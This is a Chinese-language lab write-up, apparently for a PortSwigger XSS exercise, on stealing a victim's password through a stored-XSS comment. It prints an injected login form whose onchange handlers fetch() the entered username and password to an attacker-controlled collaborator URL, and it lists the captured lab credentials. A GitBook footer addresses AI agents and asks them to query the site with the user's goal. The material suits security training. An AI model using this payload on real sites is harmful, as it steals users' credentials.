> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/xss/password-capture-via-xss.md).

# 通过 XSS 捕获密码

通过 XSS 捕获密码的笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。

### 利用跨站脚本攻击获取密码

此实验室在博客评论功能中存在一个持久型 XSS 漏洞。一个模拟用户（受害者）会在发布后查看所有评论。学习目标是利用此缺陷外泄受害者的用户名和密码，然后使用这些凭据登录。

一个小表单被注入到评论中。当受害者输入其信息时， `fetch()` 请求会将这些值发送到攻击者控制的 URL，从而允许捕获用户凭据。

注入的表单

```html
用户：
<input name="username" id="username"
onchange="fetch('https://oa2pwdff52rm383bb9abv5myepkh87ww.oastify.com?username=' + this.value)">
<br><br>

密码：
<input name="password" id="password" type="password"
onchange="fetch('https://oa2pwdff52rm383bb9abv5myepkh87ww.oastify.com?password=' + this.value)">
```

* 上述表单会在每次修改时触发将 `用户名` 和 `密码` 字段发送到监听 URL（`onchange`).

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1d1b27d906c6c150b7fd545fb67228b7d457f65c%2Fimage%20(424).png?alt=media" alt=""><figcaption></figcaption></figure>

已捕获的凭据：

* **用户名：** `administrator`

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c889809afe3bbb156de3afe3d443ca67944b67c5%2Fimage%20(425).png?alt=media" alt=""><figcaption></figcaption></figure>

* **密码：** `qzkcz73zlwri7yiwpf31`

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dc77aa1737c90db6e15fd6f3c33367ffe67503cd%2Fimage%20(426).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/xss/password-capture-via-xss.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
